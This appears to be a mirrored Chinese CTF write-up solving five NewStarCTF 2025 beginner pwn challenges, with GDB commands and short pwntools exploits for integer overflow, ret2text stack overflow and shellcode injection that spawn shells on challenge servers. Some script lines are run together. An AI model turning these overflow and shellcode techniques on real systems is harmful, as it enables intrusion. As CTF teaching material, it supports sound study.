当前位置: 首页 > news >正文

NewStarCTF2025-Week1-PWN

可能是第一周大佬们都不屑于打吧哈哈哈

简单写下 pwn 的

1、GNU Debugger

按要求操作

第一关是查看寄存器的值:

p/x $r12

下一关,查看某个地址处的字符串内容

x/s 0x555555557c27

当然也可以用 p 指令,把常量当作 char * 来解释并打印为字符串

p/s (char *)0x555555557c27

下一关

好像没什么东西,下断点继续运行就可以了

break *0x555555555779

c 两次

设置值即可:

set {unsigned int}0x7fffffffde34 = 0xdeadbeef

2、INTbug

考察整数溢出,v1 是有符号16位整数,范围 -32768 到 32767

连续输入 32768 个正数,让 v1 自增发生溢出变成负数

exp:

from pwn import *
io = remote('8.147.134.121', 20592)
io.sendline(b'1'*32768)
io.interactive()

3、pwn's door

直接给了密码 7038329

输入后即可 getshell

4、overflow

try 函数存在栈溢出

存在后门函数

打ret2text

exp:

from pwn import *
io = remote('39.106.48.123',25891)backdoor_addr = 0x401222
payload = cyclic(0x100+8)+p64(backdoor_addr)
io.sendline(payload)
io.interactive()

5、input_function

buf 处可读可写可执行,存在栈溢出

最后会直接将 buf 当成函数执行

我原本还在担心后面的 leave;ret 会破坏写入的 shellcode

因为 shellcode 写到了 rbp

但是试了下发现可以直接打通

exp:

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('8.147.134.121',30853)buf_addr = 0x114514
shellcode = asm(shellcraft.sh())
payload = shellcode + p64(buf_addr)
io.sendlineafter('\n',payload)
io.interactive()

http://www.dtcms.com/a/492353.html

相关文章:

  • 个人网站建站的流程网站设计过程
  • 网站开发合同受托方辽宁建设工程信息网业绩录入规定
  • 英文网站建设维护网络技术培训机构
  • 网站开发语言排行手机wap网页设计
  • 北京网站建设优化凡科网站建设视频
  • 网站建设免费的短网址生成 在线生成
  • 酷家乐网站做墙裙教程装修案例的app
  • 南宁经典网站建设怎么创建私人网站
  • 企业官方网站建设费用wordpress放视频教程
  • 政务内网网站群建设方案深圳市福田区656号
  • 网站seo排名沈阳seo顾问公司
  • 图片上传阿里云
  • 答题考试系统小程序
  • 查找公司注册信息的网站成都网站推广经理
  • 免费建站系统有哪些公司想制作网站
  • K8s学习笔记(二十一) RBAC
  • npm安装常见报错解决办法
  • K8S(十一)—— Kubernetes Ingress详解与实战:从原理到安全机制部署
  • 宁波网站关键词排名提升天津百度推广开户
  • 【数学分析】拓扑学-度量空间
  • 免费的ai绘图网站有哪些南京网站优化方案
  • 广平企业做网站推广找人做的网站怎么
  • 广州 电商网站建设南宁建设局
  • 网站最新一次改版时间什么意思做同城网站
  • 个人网站建设咨询电话景区网站开发
  • 官方网站建设情况重庆网站供奉战犯
  • 合肥企业网站制作公司可视化网页设计在线
  • 【python】第六章:python-GUI编程-PyQt5
  • 在线制作网页网站搭建网站 网页
  • 网站加水印传媒公司总裁